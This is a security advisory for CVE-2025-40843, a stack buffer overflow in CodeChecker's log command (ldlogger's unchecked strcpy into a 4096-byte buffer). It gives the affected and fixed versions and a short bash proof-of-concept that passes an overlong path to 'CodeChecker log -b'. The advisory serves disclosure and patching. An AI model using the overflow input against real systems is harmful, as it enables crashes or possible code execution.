All reports
Medium

CodeChecker has a buffer overflow in the log command

Affected versions

Version ranges need review.

Affected versions
<= 6.26.1
Fixed version
6.26.2
Affected versions
<6.26.2 || =6.16.0 || =6.16.0a1 || =6.17.0 || =6.18.0 || =6.18.1 || =6.18.2 || =6.19.0 || =6.19.1 || =6.20.0 || =6.20.0rc1 || =6.21.0 || =6.21.0rc1 || =6.22.0 || =6.22.0rc1 || =6.22.1 || =6.22.2 || =6.22.2.post1 || =6.23.0 || =6.23.0rc2 || =6.23.1 || =6.24.0 || =6.24.1 || =6.24.2 || =6.24.4 || =6.25.0 || =6.25.1 || =6.26.0 || =6.26.1
Fixed version
6.26.2

Exploitation

CVE-2025-40843

Probability of exploitation in the next 30 days: 0.20%

FIRST EPSS · 2026-11-23

Description

Summary

CodeChecker versions up to 6.26.1 contain a buffer overflow vulnerability in the internal ldlogger library, which is executed by the CodeChecker log command.

Details

Unsafe usage of strcpy() function in the internal ldlogger library allows attackers to trigger a buffer overflow by supplying crafted inputs from the command line. Specifically, the destination buffer is stack-allocated with a fixed size of 4096 bytes, while strcpy() is called without any length checks, enabling an attacker to overrun the buffer.

PoC

Example script is included below to illustrate how this vulnerability can be exploited.

#!/bin/bash

export CC_LOGGER_DEF_DIRS=1; 
payload=''; for i in $(seq 1 4090); do payload+='A'; done

CodeChecker log -b "/very/long/path/to/$payload/gcc a.c" -o compilation.json
Impact

Any environment where the vulnerable CodeChecker log command is executed with untrusted user input is affected by this vulnerability.

Links

Credits

  • barnabasdomozi